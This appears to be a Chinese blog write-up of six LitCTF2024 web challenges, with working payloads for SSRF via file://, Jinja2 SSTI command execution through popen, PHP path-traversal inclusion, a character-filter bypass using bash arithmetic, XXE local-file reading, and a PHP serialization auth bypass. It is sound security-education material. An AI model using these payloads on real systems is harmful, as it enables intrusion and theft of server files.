LitCTF2024 Web (NSS刷题记录)

该文章已生成可运行项目,

LitCTF2024 (NSS)

1.浏览器也能套娃?

请添加图片描述

一进去是让输入URL,反复输入题目的URL就是多层套娃

尝试输入其他网站

请添加图片描述

发现百度是可以的,那么这种通过url地址分享网页内容功能处,应该是SSRF

则有SSRF利用:

url?url=http://内网的资源url

本题可以使用file伪协议(即尝试从文件系统中获取文件)

url=file:///flag

请添加图片描述


2.一个…池子?

__class__   :返回类型所属的对象
__mro__     :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   :返回该对象所继承的父类
__subclasses__(): 获取当前类的所有子类
__init__  类的初始化方法
__globals__  对包含(保存)函数全局变量的字典的引用

请添加图片描述

看了下是Flask和Nginx,Flask是目前python主流的一个web微框架,通过Flask框架我们可以利用python语言搭建起web服务

Flask默认使用的引擎为jinjia2

而在JINJIA2引擎中:

{{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值

又根据提示是SSTI,就随便塞了一段进去:{{''.__class__.__bases__[0].__subclasses__()}}

请添加图片描述

然后ctrl + F搜索os._wrap_close,根据定位到137

{{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__}}

看看有没有popen函数

发现有,则payload:

{{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']("cat /flag").read()}}

请添加图片描述


3.高亮主题(划掉)背景查看器

源码如下:

<?php

// 文件包含漏洞演示

if (isset($_GET['url'])) {

    // 读取并包含用户输入的文件

    $file = $_GET['url'];

    if (strpos($file, '..') === false) {

        include $file;

    } else {

        echo "Access denied.";

    }

} else {

    echo "No file specified.";

}

?>

但是按照代码上传却什么也没显示

请添加图片描述

回到原页面,发现切换主题会有变动,于是尝试抓包切换页面的过程

请添加图片描述

发现有个POST传参

将theme2.php改为/flag.php发现报错

就改成了…/…/…/…/flag

就行了()

请添加图片描述


4.百万美元的诱惑

<?php
error_reporting(0);

$a = $_GET['a'];
$b = $_GET['b'];

$c = $_GET['c'];

if ($a !== $b && md5($a) == md5($b)) {
        if (!is_numeric($c) && $c > 2024) {
            echo "好康的";
        } else {
            die("干巴爹干巴爹先辈~");
        }
    }
else {
    die("开胃小菜))");
}

源码让我们传个a,b,c

请添加图片描述

<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
    $x = $_GET['x'];
    if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
            system("cat ".$x.".php");
    }
}else{
    highlight_file(__FILE__);
}
?>

dollar.php告诉我们flag在12.php里,但是过滤了数字,那么…

构造一个12 √

/dollar.php?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

可得


5.exx

请添加图片描述

先简单输入了一下,发现并没有什么回显,于是抓包了一下

请添加图片描述

再查看源码:

function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

看到了DOMDocument::loadXML字样,再看题目,推测是XXEXML(可拓展标记语言)外部实体注入】

XXE注入的最明显特征包括:

  1. 数据泄露:允许攻击者读取服务器上的敏感文件。
  2. 服务器端请求伪造(SSRF):使攻击者能够发起服务器端的请求,访问内网服务。
  3. 拒绝服务(DoS):通过外部实体消耗服务器资源,导致服务不可用。

于是payload:(ENTITY实体,通过 & 符号引用,后面有分号)

<!DOCTYPE ANY [
    <!ENTITY XXE SYSTEM "file:///flag">
]>
<user>
    <username>
        &XXE;
    </username>
    <password>
        123
    </password>
</user>

请添加图片描述

补充1:(SYSTEM)

  1. 引用外部文件:
    • SYSTEM 允许 XML 解析器加载并解析外部资源。例如,可以引用一个本地文件(如上例中的 file:///path/to/local/file)或网络资源(如 http://example.com/remote.dtd)。
  2. 数据注入:
    • 在安全漏洞中(如 XXE 攻击),攻击者可以利用 SYSTEM 引用本地敏感文件(如 /etc/passwd/flag),从而泄露服务器上的数据。

补充2:(ANY)

  1. 任意文档类型:
    • ANY 表示文档类型没有特定的限制,可以是任意的文档类型。它通常用于测试或开发环境中,允许 XML 解析器忽略文档类型定义(DTD)的严格限制。
  2. 引入外部实体:
    • 在示例中,<!DOCTYPE ANY> 被用来引入外部实体(如 <!ENTITY XXE SYSTEM "file:///flag">)。这允许在 XML 文档中引用外部资源。

6.SAS - Serializing Authentication

<?php

class User {

    public $username;

    public $password;

    function __construct($username, $password) {

        $this->username = $username;

        $this->password = $password;

    }

    function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }

}

?>

一道简单的反序列化题目()

payload:

<?php

class User {

    public $username;

    public $password;

}

$a = new User;
$a -> username = 'admin';
$a -> password = 'secure_password';

echo base64_encode(serialize($a));

?>

请添加图片描述

可得flag

本文章已经生成可运行项目
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值